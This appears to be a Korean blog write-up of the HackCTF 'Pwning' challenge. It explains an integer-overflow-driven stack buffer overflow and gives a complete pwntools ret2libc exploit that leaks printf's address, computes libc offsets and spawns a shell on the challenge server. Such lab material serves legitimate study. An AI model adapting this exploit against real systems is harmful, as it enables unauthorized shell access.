tmxklab
[HackCTF/Pwnable] Pwning 본문
1. 문제
nc ctf.j0n9hyun.xyz 3019
1) mitigation
2) 문제 확인
- 제한된 길이의 값만큼 출력 가능
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
3-2) vuln()
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(&nptr, 4);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(&nptr, v2);
return printf("You said: %s\n", &nptr);
}
- 입력 값의 크기를 32bytes이상 받을 경우 프로그램 종료
3-3) get_n()
int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}
- 입력한 값을 int형으로 바꿔 return
2. 접근 방법
먼저, vuln()에서 입력 값 크기를 지정해줄 때 integer overflow가 발생하게 된다.
ex) -1을 입력한 경우
따라서, nptr[ebp-0x2c]에 입력한 값을 넣을 수 있으며 ret까지 건드릴 수 있다.
RTL을 수행하기 위해서 필요한 것은 system()주소 값과 "/bin/sh" 주소 값이다.
- 주소 값을 확인할 수 있지만 서버에서 aslr이 걸려있을 수 있다.
- offset을 통해 system(), "/bin/sh" 주소 값을 찾도록 한다.
여기서 다음과 같은 문제점 2가지가 발생한다.
문제점 1)
- offset을 찾기 위해 특정 함수의 주소 값을 leak해야 한다.
- 하지만, leak을 한 번하고 나면 프로그램이 종료된다.
해결 1)
leak을 하고 한 번더 vuln()를 호출하여 입력 값을 받을 수 있게 한다. (ROP)
(여기서는 printf()의 주소 값을 leak하기로 한다.)
문제점 2)
- 로컬에서 사용하는 libc와 서버에서 사용하는 libc가 달라 offset 또한 다르다.
해결 2)
leak한 함수 주소 값에서 하위 3개의 숫자를 통해 다음 링크에서 어떤 버전의 libc를 사용하는지 확인
참고 :
위 링크에서 얻은 결과를 통해 base address로부터 offset을 구함
결론)
- integer overflow를 통해 buffer overflow 가능
- ROP를 통해 printf()주소 값을 leak하고 다시 vuln()를 호출하여 system(), "/bin/sh"주소 값을 넣는다.
- 참고로 printf()주소 값을 leak할 때 하위 3개의 숫자를 가지고 libc버전을 알아내어 각 함수의 offset을 구한다.
3. 풀이
1) 첫 번째 payload
[ dummy(48bytes) ] + [ printf_plt(4bytes) ] + [ vuln()(4bytes) ] + [ printf_got(4bytes) ]
설명)
- ret위치에 printf_plt를 위치시키게 되어 vuln함수의 스택 프레임을 정리하고 ret를 수행할 시 eip가 printf_plt를 가리키게 되어 printf함수를 실행
- 이 때, printf함수의 실제 주소 값을 가지고 있는 printf_got를 파라미터로 가지게 된다.
- printf함수가 실행되어 printf함수의 주소 값을 출력
- printf함수의 스택 프레임을 정리할 때 ret위치에 vuln함수가 존재하며 ret수행 시 다시 vuln함수를 호출
2) 두 번째 payload
[ dummy(48bytes) ] + [ system(4bytes) ] + [ dummy(4bytes) ] + [ "/bin/sh"(4bytes) ]
3) offset
3-1) printf() 주소 값 leak
- 하위 3개의 숫자 -> 020
- system() offset : 0x3a940
- printf() offset : 0x49020
- /bin/sh offset : 0x15902b
3-2) 각 함수들간의 offset
- base address = printf() address - printf() offset
- system() address = base address + system() offset
- /bin/sh address = base address + /bin/sh offset
4) 익스코드
from pwn import *
context.log_level="Debug"
#p = process("./pwning", aslr=False)
p = remote("ctf.j0n9hyun.xyz", 3019)
e = ELF("./pwning")
#gdb.attach(p, """b*0x80485b6""")
printf_plt = e.plt['printf']
printf_got= e.got['printf']
vuln_addr = e.symbols['vuln']
system_offset = 0x3a940
printf_offset = 0x49020
binsh_offset = 0x15902b
# payload1
payload = "A"*48
payload += p32(printf_plt)
payload += p32(vuln_addr)
payload += p32(printf_got)
# 1. leak printf() Address
p.sendlineafter("read? ", "-1")
p.sendlineafter("data!\n", payload)
p.recvuntil("\n")
data = p.recv(4)
printf_addr = u32(data)
base_addr = printf_addr - printf_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))
# payload2
payload = "A"*48
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
# 2. dummy(44) + SFP(4) + system + dummy(4) + "/bin/sh"
p.sendlineafter("read? ", "-1")
p.sendlineafter("data!\n", payload)
p.interactive()
5) 익스 결과
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] UAF (0) | 2020.07.20 |
---|---|
[HackCTF/Pwnable] you_are_silver (0) | 2020.06.30 |
[HackCTF/Pwnable] pzshell (0) | 2020.06.11 |
[HackCTF/Pwnable] ezshell (0) | 2020.06.11 |
[HackCTF/Pwnable] Gift (0) | 2020.05.18 |
Comments